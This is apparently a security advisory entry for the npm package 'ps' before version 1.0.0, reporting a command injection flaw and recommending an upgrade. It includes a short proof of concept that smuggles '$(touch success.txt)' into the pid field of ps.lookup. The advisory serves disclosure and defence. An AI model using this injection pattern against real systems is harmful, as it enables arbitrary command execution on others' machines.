QID 983856

Versions of `ps` before 1.0.0 are vulnerable to command injection. Proof of concept: ``` var ps = require('ps'); ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } }); // Result: The file success.txt will exist on the filesystem if the touch command was executed ``` ## Recommendation Update to version 1.0.0 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
